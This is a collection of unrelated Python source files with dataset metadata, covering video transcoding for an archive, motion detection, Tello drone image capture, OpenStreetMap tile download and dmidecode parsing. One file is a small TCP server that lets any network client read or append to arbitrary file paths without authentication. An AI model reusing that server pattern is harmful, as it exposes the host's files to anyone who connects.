logger.warning('%s\\tffprobe failed to read file', fpath)\n            print(err)\n            return False\n    return True\n\n\ndef get_dar(fullpath):\n    '''\n    Retrieves metadata DAR info and returns as string\n    '''\n    cmd = [\n        'mediainfo',\n        '--Language=raw', '--Full',\n        '--Inform=\"Video;%DisplayAspectRatio/String%\"',\n        fullpath\n    ]\n\n    cmd[3] = cmd[3].replace('\"', '')\n    dar_setting = subprocess.check_output(cmd)\n    dar_setting = dar_setting.decode('utf-8')\n\n    if '4:3' in str(dar_setting):\n        return '4:3'\n    if '16:9' in str(dar_setting):\n        return '16:9'\n    if '15:11' in str(dar_setting):\n        return '4:3'\n    if '1.85:1' in str(dar_setting):\n        return '1.85:1'\n    if '2.2:1' in str(dar_setting):\n        return '2.2:1'\n\n    return str(dar_setting)\n\n\ndef get_par(fullpath):\n    '''\n    Retrieves metadata PAR info and returns\n    Checks if multiples from multi video tracks\n    '''\n    cmd = [\n        'mediainfo',\n        '--Language=raw', '--Full',\n        '--Inform=\"Video;%PixelAspectRatio%\"',\n        fullpath\n    ]\n\n    cmd[3] = cmd[3].replace('\"', '')\n    par_setting = subprocess.check_output(cmd)\n    par_setting = par_setting.decode('utf-8')\n    par_full = str(par_setting).rstrip('\\n')\n\n    if len(par_full) <= 5:\n        return par_full\n    else:\n        return par_full[:5]\n\n\ndef get_height(fullpath):\n    '''\n    Retrieves height information via mediainfo\n    Using sampled height where original\n    height and stored height differ (MXF samples)\n    '''\n\n    cmd = [\n        'mediainfo',\n        '--Language=raw', '--Full',\n        '--Inform=\"Video;%Sampled_Height%\"',\n        fullpath\n    ]\n\n    cmd[3] = cmd[3].replace('\"', '')\n    sampled_height = subprocess.check_output(cmd)\n    cmd2 = [\n        'mediainfo',\n        '--Language=raw', '--Full',\n        '--Inform=\"Video;%Height%\"',\n        fullpath\n    ]\n\n    cmd2[3] = cmd2[3].replace('\"', '')\n    reg_height = subprocess.check_output(cmd2)\n\n    try:\n        int(sampled_height)\n    except ValueError:\n        sampled_height = 0\n\n    if int(sampled_height) > int(reg_height):\n        height = str(sampled_height)\n    else:\n        height = str(reg_height)\n\n    if '480' == height:\n        return '480'\n    if '486' == height:\n        return '486'\n    if '576' == height:\n        return '576'\n    if '608' == height:\n        return '608'\n    if '720' == height:\n        return '720'\n    if '1080' == height or '1 080' == height:\n        return '1080'\n    else:\n        height = height.split(' pixel', maxsplit=1)[0]\n        return re.sub(\"[^0-9]\", \"\", height)\n\n\ndef get_width(fullpath):\n    '''\n    Retrieves height information using mediainfo\n    '''\n    cmd = [\n        'mediainfo',\n        '--Language=raw', '--Full',\n        '--Inform=\"Video;%Width/String%\"',\n        fullpath\n    ]\n\n    cmd[3] = cmd[3].replace('\"', '')\n    width = subprocess.check_output(cmd)\n    width = str(width)\n\n    if '720' == width:\n        return '720'\n    if '768' == width:\n        return '768'\n    if '1024' == width or '1 024' == width:\n        return '1024'\n    if '1280' == width or '1 280' == width:\n        return '1280'\n    if '1920' == width or '1 920' == width:\n        return '1920'\n    else:\n        if width.isdigit():\n            return str(width)\n        else:\n            width = width.split(' p', maxsplit=1)[0]\n            return re.sub(\"[^0-9]\", \"\", width)\n\n\ndef get_duration(fullpath):\n    '''\n    Retrieves duration information via mediainfo\n    where more than two returned, file longest of\n    first two and return video stream info to main\n    for update to ffmpeg map command\n    '''\n\n    cmd = [\n        'mediainfo', '--Language=raw',\n        '--Full', '--Inform=\"Video;%Duration%\"',\n        fullpath\n    ]\n\n    cmd[3] = cmd[3].replace('\"', '')\n    duration = subprocess.check_output(cmd)\n    if not duration:\n        return ('', '')\n\n    duration = duration.decode('utf-8').rstrip('\\n')\n    print(f\"Mediainfo seconds: {duration}\")\n\n    if '.' in duration:\n        duration = duration.split('.')\n\n    if isinstance(duration, str):\n        second_duration = int(duration) // 1000\n        return (second_duration, '0')\n    elif len(duration) == 2:\n        print(\"Just one duration returned\")\n        num = duration[0]\n        second_duration = int(num) // 1000\n        print(second_duration)\n        return (second_duration, '0')\n    elif len(duration) > 2:\n        print(\"More than one duration returned\")\n        dur1 = f\"{duration[0]}\"\n        dur2 = f\"{duration[1][6:]}\"\n        print(dur1, dur2)\n        if int(dur1) > int(dur2):\n            second_duration = int(dur1) // 1000\n            return (second_duration, '0')\n        elif int(dur1) < int(dur2):\n            second_duration = int(dur2) // 1000\n            return (second_duration, '1')\n\n\ndef check_audio(fullpath):\n    '''\n    Mediainfo command to retrieve channels, identify\n    stereo or mono, returned as 2 or 1 respectively\n    '''\n\n    cmd = [\n        'mediainfo', '--Language=raw',\n        '--Full', '--Inform=\"Audio;%Format%\"',\n        fullpath\n    ]\n\n    cmd0 = [\n        'ffprobe', '-v',\n        'error', '-select_streams', 'a:0',\n        '-show_entries', 'stream=index:stream_tags=language',\n        '-of', 'compact=p=0:nk=1',\n        fullpath\n    ]\n\n    cmd1 = [\n        'ffprobe', '-v',\n        'error', '-select_streams', 'a:1',\n        '-show_entries', 'stream=index:stream_tags=language',\n        '-of', 'compact=p=0:nk=1',\n        fullpath\n    ]\n\n    cmd2 = [\n        'mediainfo', '--Language=raw',\n        '--Full', '--Inform=\"Audio;%ChannelLayout%\"',\n        fullpath\n    ]\n\n    cmd[3] = cmd[3].replace('\"', '')\n    audio = subprocess.check_output(cmd)\n    audio = str(audio)\n\n    if len(audio) == 0:\n        return None, None, None\n\n    try:\n        lang0 = subprocess.check_output(cmd0)\n    except Exception:\n        lang0 = ''\n    try:\n        lang1 = subprocess.check_output(cmd1)\n    except Exception:\n        lang1 = ''\n\n    print(f\"**** LANGUAGES: Stream 0 {lang0} - Stream 1 {lang1}\")\n\n    cmd2[3] = cmd2[3].replace('\"', '')\n    chnl_layout = subprocess.check_output(cmd2)\n    chnl_layout = str(chnl_layout)\n    stereo_lr = False\n\n    if 'LR' in chnl_layout:\n        stereo_lr = True\n\n    if 'NAR' in str(lang0):\n        print(\"Narration stream 0 / English stream 1\")\n        if stereo_lr:\n            return ('Audio', '1', 'ac')\n        return('Audio', '1', None)\n    elif 'NAR' in str(lang1):\n        print(\"Narration stream 1 / English stream 0\")\n        if stereo_lr:\n            return ('Audio', '0', 'ac')\n        return ('Audio', '0', None)\n    else:\n        if stereo_lr:\n            return ('Audio', None, 'ac')\n        return ('Audio', None, None)\n\n\ndef create_ffmpeg_command(fullpath, output, video_data):\n    '''\n    Subprocess command build, with variations\n    added based on metadata extraction\n    '''\n\n    # Build subprocess call from data list\n    ffmpeg_program_call = [\n        \"ffmpeg\"\n    ]\n\n    input_video_file = [\n        \"-i\", fullpath,\n        \"-nostdin\"\n    ]\n\n    # Map video stream that's longest to 0\n    if video_data[0]:\n        print(f\"VS {video_data[0]}\")\n        map_video = [\n            \"-map\", f\"0:v:{video_data[0]}\",\n        ]\n    else:\n        map_video = [\n            \"-map\", \"0:v:0\",\n        ]\n\n\n    video_settings = [\n        \"-c:v\", \"prores_ks\",\n        \"-profile:v\", \"3\"\n    ]\n\n    prores_build = [\n        \"-pix_fmt\", \"yuv422p10le\",\n        \"-vendor\", \"ap10\",\n        \"-movflags\", \"+faststart\"\n    ]\n\n    if video_data[3] and video_data[2] and not video_data[4]:\n        map_audio = [\n            \"-map\", \"0:a?\",\n            f\"-disposition:a:{video_data[3]}\",\n            \"default\", \"-dn\"\n        ]\n    elif video_data[4]:\n        map_audio = [\n            \"-map\", \"0:a?\",\n            \"-ac\", \"1\", \"-dn\"\n        ]\n    else:\n        map_audio = [\n            \"-map\", \"0:a?\",\n            \"-dn\"\n        ]\n\n    crop_sd_608 = [\n        \"-vf\",\n        \"bwdif=send_frame,crop=672:572:24:32,scale=734:576:flags=lanczos,pad=768:576:-1:-1\"\n    ]\n\n    no_crop = [\n        \"-vf\",\n        \"bwdif=send_frame\"\n    ]\n\n    output_settings = [\n        \"-nostdin\", \"-y\",\n        output, \"-f\",\n        \"null\", \"-\"\n    ]\n\n    height = int(video_data[1])\n    if height == 608:\n        cmd_mid = crop_sd_608\n    else:\n        cmd_mid = no_crop\n\n    if video_data[2] is None:\n        return ffmpeg_program_call + input_video_file + map_video + video_settings + cmd_mid + prores_build + output_settings\n    elif video_data[2]:\n        return ffmpeg_program_call + input_video_file + map_video + map_audio + video_settings + cmd_mid + prores_build + output_settings\n\n\ndef check_policy(output_path):\n    '''\n    Run mediaconch check against new prores\n    '''\n    new_file = os.path.split(output_path)[1]\n    if os.path.isfile(output_path):\n        logger.info(\"Conformance check: comparing %s with policy\", new_file)\n        result = conformance_check(output_path)\n        if \"PASS!\" in result:\n            return 'pass!'\n        else:\n            return result\n\n\ndef conformance_check(filepath):\n    '''\n    Checks mediaconch policy against new V210 mov\n    '''\n\n    mediaconch_cmd = [\n        'mediaconch', '--force',\n        '-p', PRORES_POLICY,\n        filepath\n    ]\n\n    try:\n        success = subprocess.check_output(mediaconch_cmd)\n        success = str(success)\n    except Exception:\n        success = \"\"\n        logger.exception(\"Mediaconch policy retrieval failure for %s\", filepath)\n\n    if 'N/A!' in success:\n        return \"FAIL!\"\n    elif 'pass!' in success:\n        return \"PASS!\"\n    elif 'fail!' in success:\n        return \"FAIL!\"\n    else:\n        return \"FAIL!\"\n\n\ndef transcode_mov(fpath):\n    '''\n    Receives sys.argv[1] path to MOV from shell start script via GNU parallel\n    Passes to FFmpeg subprocess command, transcodes ProRes mov then checks\n    finished encoding against custom prores mediaconch policy\n    If pass, cleans up files moving to finished_prores/ folder and deletes V210 mov (temp offline).\n    '''\n    fullpath = fpath\n    if not os.path.isfile(fullpath):\n        logger.warning(\"SCRIPT EXITING: Error with file path:\\n %s\", sys.argv)\n        return False\n    mime_true = check_mime_type(fullpath)\n    if not mime_true:\n        logger.warning(\"SCRIPT EXITING: Supplied file is not mimetype video:\\n %s\", sys.argv)\n        return 'not video'\n    running = check_control()\n    if not running:\n        logger.warning('Script run prevented by downtime_control.json. Script exiting.')\n        return False\n\n    logger.info(\"================== START DPI download transcode to prores START ==================\")\n    path_split = os.path.split(fullpath)\n    file = path_split[1]\n    output_fullpath = os.path.join(path_split[0], f\"{file.split('.')[0]}_prores.mov\")\n    if os.path.isfile(output_fullpath):\n        return 'exists'\n    logger_data = []\n    video_data = []\n\n    # Collect data for downloaded file\n    audio, stream_default, stereo = check_audio(fullpath)\n    dar = get_dar(fullpath)\n    par = get_par(fullpath)\n    height = get_height(fullpath)\n    width = get_width(fullpath)\n    duration, vs = get_duration(fullpath)\n    video_data = [vs, height, audio, stream_default, stereo]\n\n    logger_data.append(f\"** File being processed: {fullpath}\")\n    logger_data.append(f\"Metadata retrieved:\\nDAR {dar} PAR {par} Audio {audio} Height {height} Width {width} Duration {duration}\")\n\n    # Execute FFmpeg subprocess call\n    ffmpeg_call = create_ffmpeg_command(fullpath, output_fullpath, video_data)\n    ffmpeg_call_neat = (\" \".join(ffmpeg_call), \"\\n\")\n    logger_data.append(f\"FFmpeg call: {ffmpeg_call_neat}\")\n\n    # tic/toc record encoding time\n    tic = time.perf_counter()\n    try:\n        subprocess.call(ffmpeg_call)\n        logger_data.append(\"Subprocess call for FFmpeg command successful\")\n    except Exception as err:\n        logger_data.append(f\"WARNING: FFmpeg command failed: {ffmpeg_call_neat}\\n{err}\")\n        log_clean = list(dict.fromkeys(logger_data))\n        for line in log_clean:\n            logger.info(\"%s\", line)\n        logger.info(\"==================== END DPI download transcode to prores END ====================\")\n        return 'transcode fail'\n    toc = time.perf_counter()\n    encoding_time = (toc - tic) // 60\n    seconds_time = (toc - tic)\n    logger_data.append(f\"*** Encoding time for {file}: {encoding_time} minutes or as seconds: {seconds_time}\")\n    logger_data.append(\"Checking if new Prores file passes Mediaconch policy\")\n    pass_policy = check_policy(output_fullpath)\n    if pass_policy == 'pass!':\n        logger_data.append(\"New ProRes file passed MediaConch policy\")\n        log_clean = list(dict.fromkeys(logger_data))\n        for line in log_clean:\n            logger.info(\"%s\", line)\n        logger.info(\"==================== END DPI download transcode to prores END ====================\")\n        return 'True'\n    else:\n        logger_data.append(f\"ProRes file failed the MediaConch policy:\\n{pass_policy}\")\n        log_clean = list(dict.fromkeys(logger_data))\n        for line in log_clean:\n            logger.info(\"%s\", line)\n        logger.info(\"==================== END DPI download transcode to prores END ====================\")\n        return 'transcode fail'\n\n", "repo_name": "bfidatadigipres/BFI_scripts", "sub_path": "dpi_downloader/downloaded_transcode_prores.py", "file_name": "downloaded_transcode_prores.py", "file_ext": "py", "file_size_in_byte": 15569, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 4, "dataset": "github-code", "pt": "78", "api": [{"api_name": "os.environ", "line_number": 28, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 29, "usage_type": "call"}, {"api_name": "os.path", "line_number": 29, "usage_type": "attribute"}, {"api_name": "os.environ", "line_number": 30, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 31, "usage_type": "call"}, {"api_name": "os.path", "line_number": 31, "usage_type": "attribute"}, {"api_name": "logging.getLogger", "line_number": 34, "usage_type": "call"}, {"api_name": "logging.FileHandler", "line_number": 35, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 35, "usage_type": "call"}, {"api_name": "os.path", "line_number": 35, "usage_type": "attribute"}, {"api_name": "logging.Formatter", "line_number": 36, "usage_type": "call"}, {"api_name": "logging.INFO", "line_number": 39, "usage_type": "attribute"}, {"api_name": "json.load", "line_number": 47, "usage_type": "call"}, {"api_name": "magic.from_file", "line_number": 62, "usage_type": "call"}, {"api_name": "subprocess.call", "line_number": 77, "usage_type": "call"}, {"api_name": "subprocess.check_output", "line_number": 101, "usage_type": "call"}, {"api_name": "subprocess.check_output", "line_number": 131, "usage_type": "call"}, {"api_name": "subprocess.check_output", "line_number": 156, "usage_type": "call"}, {"api_name": "subprocess.check_output", "line_number": 165, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 191, "usage_type": "call"}, {"api_name": "subprocess.check_output", "line_number": 206, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 224, "usage_type": "call"}, {"api_name": "subprocess.check_output", "line_number": 242, "usage_type": "call"}, {"api_name": "subprocess.check_output", "line_number": 309, "usage_type": "call"}, {"api_name": "subprocess.check_output", "line_number": 316, "usage_type": "call"}, {"api_name": "subprocess.check_output", "line_number": 320, "usage_type": "call"}, {"api_name": "subprocess.check_output", "line_number": 327, "usage_type": "call"}, {"api_name": "os.path.split", "line_number": 438, "usage_type": "call"}, {"api_name": "os.path", "line_number": 438, "usage_type": "attribute"}, {"api_name": "os.path.isfile", "line_number": 439, "usage_type": "call"}, {"api_name": "os.path", "line_number": 439, "usage_type": "attribute"}, {"api_name": "subprocess.check_output", "line_number": 460, "usage_type": "call"}, {"api_name": "os.path.isfile", "line_number": 484, "usage_type": "call"}, {"api_name": "os.path", "line_number": 484, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 485, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 489, "usage_type": "attribute"}, {"api_name": "os.path.split", "line_number": 497, "usage_type": "call"}, {"api_name": "os.path", "line_number": 497, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 499, "usage_type": "call"}, {"api_name": "os.path", "line_number": 499, "usage_type": "attribute"}, {"api_name": "os.path.isfile", "line_number": 500, "usage_type": "call"}, {"api_name": "os.path", "line_number": 500, "usage_type": "attribute"}, {"api_name": "time.perf_counter", "line_number": 523, "usage_type": "call"}, {"api_name": "subprocess.call", "line_number": 525, "usage_type": "call"}, {"api_name": "time.perf_counter", "line_number": 534, "usage_type": "call"}]}
{"seq_id": "21836588146", "text": "#!/usr/bin/env python3\n\nimport numpy as np\nimport cv2\n\nthreshold = 10 # filter out some noise\n\nbgSub = cv2.createBackgroundSubtractorMOG2(varThreshold=60, detectShadows=False)\n\ndef checkForMotion(img):\n    img = img[200:380, 140:640] # remove the top, bottom and left parts\n    motion = bgSub.apply(img)\n    numMovingPixels = np.sum(motion)\n    return numMovingPixels > threshold*255 # True = motion detected\n", "repo_name": "nakulred1/autonomous-robots-kiwi-project", "sub_path": "intersection/motion.py", "file_name": "motion.py", "file_ext": "py", "file_size_in_byte": 409, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "cv2.createBackgroundSubtractorMOG2", "line_number": 8, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 13, "usage_type": "call"}]}
{"seq_id": "29473221207", "text": "\"\"\"\nThis Python script aims to connect to a Tello Drone and save images from its camera to a local directory.\n\nThe user still maintains control of the drone, but it is recommended to hold and rotate the drone while the\ncamera feed is being saved. This will allow for more distinct control while obtaining the dataset.\n\"\"\"\n\n# Import python-native modules\nimport time\n\n# Import custom modules\nfrom VideoStreamTello import VideoStreamTello\nimport config\nfrom supplemental_functions import nice_print\n\n# Main script execution\nif __name__ == \"__main__\":\n    # Start timing how long this script takes to run\n    start_time = time.time()\n\n    # Create VideoStreamTello() object and automatically start the video stream and user input polling\n    ########################################################################\n    tello_video_stream = VideoStreamTello(save_images=True)\n    ########################################################################\n\n    # Enter our main execution loop (can only be exited via a user input\n    # 'kill' or KeyboardInterrupt)\n    while tello_video_stream.main_loop:\n        try:\n            tello_video_stream.poll_keystrokes()\n        except KeyboardInterrupt:\n            print(f\"!!!Interrupted!!!\")\n\n            # Stop our main loop\n            tello_video_stream.main_loop = False\n\n            # Initiate the kill sequence\n            tello_video_stream.kill_sequence()\n\n            # Join our running threads\n            tello_video_stream.video_stream_t.join()\n            tello_video_stream.image_save_t.join()\n            tello_video_stream.inference_t.join()\n\n    if config.SAVE_IMAGES:\n        # Print our 'saving images' information\n        nice_print(\n            f\"Wrote {tello_video_stream.num_images_written} images in {tello_video_stream.time_to_save_imgs_start} seconds\"\n        )\n\n    # Calculate how long our script takes to run\n    end_time = time.time() - start_time\n\n    # Print our ending information\n    nice_print(f\"Done with main loop in {end_time} seconds...\")\n", "repo_name": "BruceCoburn/ML4HST_drone", "sub_path": "dev_code/playground/inference_flight_beta/collect_drone_dataset.py", "file_name": "collect_drone_dataset.py", "file_ext": "py", "file_size_in_byte": 2020, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "time.time", "line_number": 19, "usage_type": "call"}, {"api_name": "VideoStreamTello.VideoStreamTello", "line_number": 23, "usage_type": "call"}, {"api_name": "config.SAVE_IMAGES", "line_number": 45, "usage_type": "attribute"}, {"api_name": "supplemental_functions.nice_print", "line_number": 47, "usage_type": "call"}, {"api_name": "time.time", "line_number": 52, "usage_type": "call"}, {"api_name": "supplemental_functions.nice_print", "line_number": 55, "usage_type": "call"}]}
{"seq_id": "38320483255", "text": "import socket\nimport json\nimport _thread\nimport traceback\nfrom queue import Queue, Empty\nimport time\n\nclass SocketServer(object):\n\n    def __init__(self):\n        self.host = \"0.0.0.0\"\n        self.port = 9998\n        self.sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n        self.sock.bind((self.host, self.port))\n        self.sock.listen(10)\n        self.conn, addr = self.sock.accept()\n        self.queue = Queue()\n\n\n    def run(self):\n        rest_msg = \"\"\n        try:\n            while True:\n                try:\n                    item = self.queue.get_nowait()\n                    time.sleep(3)\n                    print(\"stop\")\n                    self.conn.sendall(\"stop\".encode())\n                except Empty:\n                    dados= self.conn.recv(1024)\n                    if dados:\n                        data_list = (rest_msg + dados.decode()).split(\"\\n\")\n                        if len(data_list) > 1:\n                            rest_msg = data_list.pop()\n                        for data in data_list:\n                            try:\n                                dados = json.loads(data)\n                                if dados:\n                                    if dados.get(\"command\") == \"reader\":\n                                        _thread.start_new_thread(self.read_file, (dados[\"file\"],))\n                                    elif dados.get(\"command\") == \"write\":\n                                        _thread.start_new_thread(self.write_file, (dados[\"file\"], dados[\"content\"],))\n                            except:\n                                print(traceback.format_exc())\n\n        except:\n            print(traceback.format_exc())\n            self.conn.close()\n\n    def read_file(self, file):\n        with open(file, 'r') as line:\n            for l in line:\n                self.conn.sendall(l.encode())\n\n        self.queue.put_nowait(0)\n\n\n    def write_file(self, file_path, content):\n        file = open(file_path, \"a\")\n        file.write(content + \"\\n\")\n        file.close()\n\n\nif __name__ == '__main__':\n\n    print(\"Server Runner...\")\n    try:\n        conn = SocketServer()\n        print(\"client connected\")\n        conn.run()\n    finally:\n        conn.sock.close()\n", "repo_name": "lffsantos/processa_log", "sub_path": "server.py", "file_name": "server.py", "file_ext": "py", "file_size_in_byte": 2227, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "socket.socket", "line_number": 13, "usage_type": "call"}, {"api_name": "socket.AF_INET", "line_number": 13, "usage_type": "attribute"}, {"api_name": "socket.SOCK_STREAM", "line_number": 13, "usage_type": "attribute"}, {"api_name": "queue.Queue", "line_number": 17, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 26, "usage_type": "call"}, {"api_name": "queue.Empty", "line_number": 29, "usage_type": "name"}, {"api_name": "json.loads", "line_number": 37, "usage_type": "call"}, {"api_name": "_thread.start_new_thread", "line_number": 40, "usage_type": "call"}, {"api_name": "_thread.start_new_thread", "line_number": 42, "usage_type": "call"}, {"api_name": "traceback.format_exc", "line_number": 44, "usage_type": "call"}, {"api_name": "traceback.format_exc", "line_number": 47, "usage_type": "call"}]}
{"seq_id": "21317515053", "text": "from pathlib import Path\nimport numpy as np\nimport requests\nimport matplotlib.pyplot as plt\nfrom typing import Tuple\n\nMAX_TILE_COUNT = 500  # maximum number of OSM tiles to download\n\n# constants\nOSM_TILE_SIZE = 256  # OSM tile size in pixels\n\n\ndef calculate_zoom_level(min_lon: float, max_lon: float,\n                         min_lat: float, max_lat: float) -> int:\n    \"\"\"\n    Method for calculating a reasonable zoom level from provided coordinates.\n    \n\n    Args:\n        min_lon (float): Minimum longitude\n        max_lon (float): Maximum longitude\n        min_lat (float): Minimum latitude\n        max_lat (float): Maximum latitude\n\n    Returns:\n        int: The zoom level\n    \"\"\"\n    z_lon = np.ceil(np.log2(360 / (max_lat - min_lat)));\n    z_lat = np.ceil(np.log2(170.1023 / (max_lon - min_lon)));\n    zoom_level = np.min([z_lon, z_lat]) + 1;\n    zoom_level = np.min([zoom_level, 18]);\n    zoom_level = np.max([zoom_level, 0]);\n    return int(zoom_level)\n\n\ndef deg2xy(lat_deg: float, lon_deg: float, zoom: int) -> Tuple[float, float]:\n    \"\"\"\n    return OSM global x,y coordinates from lat,lon in degrees\n    \n    Args:\n        lat_deg (float): Latitude in degrees to convert to y coordinate\n        lon_deg (float): Longitude in degrees to convert to x coordinate\n        zoom (int): Zoom level needed\n        \n    Returns:\n        int: Global x and y coordinates\n    \"\"\"\n    lat_rad = np.radians(lat_deg)\n    n = 2.0 ** zoom\n    x = (lon_deg + 180.0) / 360.0 * n\n    y = (1.0 - np.log(np.tan(lat_rad) + (1 / np.cos(lat_rad))) / np.pi) / 2.0 * n\n    return x, y\n\n\ndef deg2tile_coord(lat_deg: float, lon_deg: float, zoom: int) -> Tuple[int, int]:\n    \"\"\"\n    return OSM tile x,y from lat,lon in degrees (from https://wiki.openstreetmap.org/wiki/Slippy_map_tilenames)\n    Calls deg2xy and converts those values to integers\n    \n    Args:\n        lat_deg (float): Latitude in degrees\n        lon_deg (float): Longitude in degrees\n        zoom (int): Zoom level\n        \n    Returns:\n        (int, int): The tile numbers for that location\n    \"\"\"\n    x, y = deg2xy(lat_deg, lon_deg, zoom)\n    return int(x), int(y)\n\n\ndef num2deg(x_tile: int, y_tile: int, zoom: int) -> Tuple[float, float]:\n    \"\"\"\n    return lat,lon in degrees from OSM tile x,y (from https://wiki.openstreetmap.org/wiki/Slippy_map_tilenames)\n    \n    Args:\n        x_tile (int): X tile number\n        y_tile (int): Y tile number\n        zoom (int): Zoom level\n        \n    Returns:\n        (float, float): Latitude and longitude in degrees\n    \"\"\"\n    n = 2.0 ** zoom\n    lon_deg = x_tile / n * 360.0 - 180.0\n    lat_rad = np.arctan(np.sinh(np.pi * (1 - 2 * y_tile / n)))\n    lat_deg = np.degrees(lat_rad)\n    return lat_deg, lon_deg\n\n\ndef sc2deg(sc_value: float) -> float:\n    \"\"\"\n    Calculate degrees from semicircle value\n    \n    Args:\n        sc_value (float): semicircle value to convert\n        \n    Returns:\n        float: The degress calculated from the semicircle\n    \"\"\"\n    return np.float(sc_value) * 180 / 2**31\n\n\ndef download_tile_file(tile_url: str, tile_file: Path, verbose: bool = False) -> bool:\n    \"\"\"\n    download image from url to file\n    \n    Args:\n        tile_url (str): The url of the tile to download\n        tile_file (Path): The file to save the tile to\n        verbose (bool): Verbosity flag\n        \n    Returns:\n        bool: Returns true or false respectively\n    \"\"\"\n    try:\n        resp = requests.get(tile_url, headers={'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:105.0) Gecko/20100101 Firefox/105.0'}, \n                            stream=True, timeout=10)\n    except requests.exceptions.RequestException as e:\n        if verbose:\n            print(e)\n        return False\n\n    if resp.ok:\n        if verbose:\n            print('Downloading ' +  tile_url)\n        with open(tile_file, 'wb') as file:\n            file.write(resp.content)\n        return True\n\n\ndef download_tiles_for_area(x_tile_min: int, x_tile_max: int,\n                            y_tile_min: int, y_tile_max: int,\n                            zoom: int, url: str = 'http://a.tile.openstreetmap.org'):\n    \"\"\"\n    Download the tiles specified by the x, y and zoom values\n    The tileservers are accessed using the pattern {url}/{zoom}/{x_tile}/{y_tile}.png and the tiles saved as\n    {zoom}_{x_tile}_{y_tile}.png\n    \n    Args:\n        x_tile_min (int): Minimum x_tile value\n        x_tile_max (int): Maximum x_tile value\n        y_tile_min (int): Minimum y_tile value\n        y_tile_max (int): Maximum y_tile value\n        zoom (int): Zoom at which to download the tiles\n        url (str): The url used to download the tiles.\n    \"\"\"\n    # total number of tiles\n    tile_count = (x_tile_max-x_tile_min+1)*(y_tile_max-y_tile_min+1)\n    # Restrict the number of tiles that are downloaded\n    if tile_count > MAX_TILE_COUNT:\n        print('ERROR zoom value too high')\n        return\n    # download tiles\n    tile_path = Path('tiles')\n    tile_path.mkdir(exist_ok=True, parents=True)\n    for x in range(x_tile_min, x_tile_max+1):\n        for y in range(y_tile_min, y_tile_max+1):\n            tile_url = '/'.join([url, str(zoom), str(x), str(y) + '.png'])\n            tile_file = tile_path.joinpath('_'.join(['tile', str(zoom), str(x), str(y) + '.png']))\n            # check if tile already downloaded\n            if not tile_file.exists():\n                if not download_tile_file(tile_url, tile_file):\n                    tile_image = np.ones((OSM_TILE_SIZE, OSM_TILE_SIZE, 3))\n                    plt.imsave(tile_file, tile_image)\n", "repo_name": "j-hiller/map_plotter", "sub_path": "osm_helpers.py", "file_name": "osm_helpers.py", "file_ext": "py", "file_size_in_byte": 5526, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "numpy.ceil", "line_number": 28, "usage_type": "call"}, {"api_name": "numpy.log2", "line_number": 28, "usage_type": "call"}, {"api_name": "numpy.ceil", "line_number": 29, "usage_type": "call"}, {"api_name": "numpy.log2", "line_number": 29, "usage_type": "call"}, {"api_name": "numpy.min", "line_number": 30, "usage_type": "call"}, {"api_name": "numpy.min", "line_number": 31, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 32, "usage_type": "call"}, {"api_name": "numpy.radians", "line_number": 48, "usage_type": "call"}, {"api_name": "numpy.log", "line_number": 51, "usage_type": "call"}, {"api_name": "numpy.tan", "line_number": 51, "usage_type": "call"}, {"api_name": "numpy.cos", "line_number": 51, "usage_type": "call"}, {"api_name": "numpy.pi", "line_number": 51, "usage_type": "attribute"}, {"api_name": "typing.Tuple", "line_number": 36, "usage_type": "name"}, {"api_name": "typing.Tuple", "line_number": 55, "usage_type": "name"}, {"api_name": "numpy.arctan", "line_number": 86, "usage_type": "call"}, {"api_name": "numpy.sinh", "line_number": 86, "usage_type": "call"}, {"api_name": "numpy.pi", "line_number": 86, "usage_type": "attribute"}, {"api_name": "numpy.degrees", "line_number": 87, "usage_type": "call"}, {"api_name": "typing.Tuple", "line_number": 72, "usage_type": "name"}, {"api_name": "numpy.float", "line_number": 101, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 104, "usage_type": "name"}, {"api_name": "requests.get", "line_number": 117, "usage_type": "call"}, {"api_name": "requests.exceptions", "line_number": 119, "usage_type": "attribute"}, {"api_name": "pathlib.Path", "line_number": 155, "usage_type": "call"}, {"api_name": "numpy.ones", "line_number": 164, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.imsave", "line_number": 165, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 165, "usage_type": "name"}]}
{"seq_id": "32116632964", "text": "import subprocess\nfrom collections import UserDict\nfrom functools import lru_cache\n\ndef _parse_handle_section(lines):\n    \"\"\"\n    Parse a section of dmidecode output\n    * 1st line contains address, type and size\n    * 2nd line is title\n    * line started with one tab is one option and its value\n    * line started with two tabs is a member of list\n    \"\"\"\n    data = {\"_title\": next(lines).rstrip()}\n\n    for line in lines:\n        line = line.rstrip()\n        if line.startswith(\"\\t\\t\"):\n            try:\n                data[k].append(line.lstrip())\n            except AttributeError:\n                # ignore stray <OUT OF SPEC> lines\n                pass\n        elif line.startswith(\"\\t\"):\n            k, v = [i.strip() for i in line.lstrip().split(\":\", 1)]\n            if v is \"\":\n                data[k] = []\n            else:\n                data[k] = v\n        else:\n            break\n\n    return data\n\n\nclass Dmidecode(UserDict):\n    \"\"\"Dmidecode parser storing parsed data as dict like object.\"\"\"\n\n    TYPE = {\n        0: \"bios\",\n        1: \"system\",\n        2: \"base board\",\n        3: \"chassis\",\n        4: \"processor\",\n        7: \"cache\",\n        8: \"port connector\",\n        9: \"system slot\",\n        10: \"on board device\",\n        11: \"OEM strings\",\n        # 13: 'bios 